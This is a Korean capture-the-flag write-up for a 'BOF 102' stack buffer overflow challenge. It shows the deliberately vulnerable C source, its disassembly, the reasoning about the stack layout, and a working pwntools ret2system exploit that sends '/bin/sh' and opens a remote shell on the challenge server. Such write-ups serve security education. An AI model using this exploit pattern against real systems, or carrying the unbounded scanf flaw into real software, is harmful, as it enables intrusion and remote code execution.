#include <stdio.h>
#include <stdlib.h>
char name[16];
void bofme() {
char payload[16];
puts("What's your name?");
printf("Name > ");
scanf("%16s", name);
printf("Hello, %s.\n", name);
puts("Do you wanna build a snowman?");
printf(" > ");
scanf("%s", payload);
printf("!!!%s!!!\n", payload);
puts("Good.");
}
int main() {
system("echo 'Welcome to BOF 102!'");
bofme();
return 0;
}
0x0804856b <+0>: push ebp
0x0804856c <+1>: mov ebp,esp
0x0804856e <+3>: sub esp,0x10
0x08048571 <+6>: push 0x80486d0
0x08048576 <+11>: call 0x8048420 <puts@plt>
0x0804857b <+16>: add esp,0x4
0x0804857e <+19>: push 0x80486e2
0x08048583 <+24>: call 0x8048410 <printf@plt>
0x08048588 <+29>: add esp,0x4
0x0804858b <+32>: push 0x804a06c
0x08048590 <+37>: push 0x80486ea
0x08048595 <+42>: call 0x8048450 <__isoc99_scanf@plt>
0x0804859a <+47>: add esp,0x8
0x0804859d <+50>: push 0x804a06c
0x080485a2 <+55>: push 0x80486ef
0x080485a7 <+60>: call 0x8048410 <printf@plt>
0x080485ac <+65>: add esp,0x8
0x080485af <+68>: push 0x80486fb
0x080485b4 <+73>: call 0x8048420 <puts@plt>
0x080485b9 <+78>: add esp,0x4
0x080485bc <+81>: push 0x8048719
0x080485c1 <+86>: call 0x8048410 <printf@plt>
0x080485c6 <+91>: add esp,0x4
0x080485c9 <+94>: lea eax,[ebp-0x10]
0x080485cc <+97>: push eax
0x080485cd <+98>: push 0x804871d
0x080485d2 <+103>: call 0x8048450 <__isoc99_scanf@plt>
0x080485d7 <+108>: add esp,0x8
0x080485da <+111>: lea eax,[ebp-0x10]
0x080485dd <+114>: push eax
0x080485de <+115>: push 0x8048720
0x080485e3 <+120>: call 0x8048410 <printf@plt>
0x080485e8 <+125>: add esp,0x8
0x080485eb <+128>: push 0x804872a
0x080485f0 <+133>: call 0x8048420 <puts@plt>
0x080485f5 <+138>: add esp,0x4
0x080485f8 <+141>: nop
0x080485f9 <+142>: leave
0x080485fa <+143>: ret
문제 파일과 bofme
함수의 어셈이다.
- 전역 변수 name에 16만큼 입력
- 지역 변수 payload에 scanf(”%s”)로 입력
payload 변수의 입력 부분에서 bof를 일으키면 될 것 같다.
코드만 보면 쉘을 획득하거나, 플래그를 출력하는 부분이 없으므로 system
함수를 직접 불러와야 할 것 같다!
name에는 bof를 일으킬 수 없으므로 “/bin/sh”
문자열을 넣어 system
함수의 인자로 넣어 활용할 수 있을 것 같다.
bofme의 어셈을 보면 name의 위치는 0x804a06c
라는 것을 알 수 있다.
system 함수의 plt는 0x8048430
이다.
어셈을 대충 보면 payload → SFP → RET 이렇게 들어 있고, 파일이 32비트이므로
payload (0x10) → SFP (0x4) → RET (0x4) 이렇게 구성되어 있다는 걸 알 수 있다.
따라서 정리해 보면
- name에
“/bin/sh\n”
넣어 주기 - payload = A * 0x14 + system@plt + A * 0x4 + name 주소
이를 그대로 코드로 써 보면
from pwn import *
p = remote("bof102.sstf.site", 1337)
e = ELF("./bof102")
payload = b""
payload += b"a" * 0x14
payload += p32(e.plt['system'])
payload += b"A" * 0x4
payload += b"\x6c\xa0\x04\x08"
print("payload : " + str(payload))
p.sendafter(b"Name > ", b"/bin/sh\n")
p.sendafter(b" > ", payload)
p.interactive()
이렇게 플래그를 얻을 수 있다.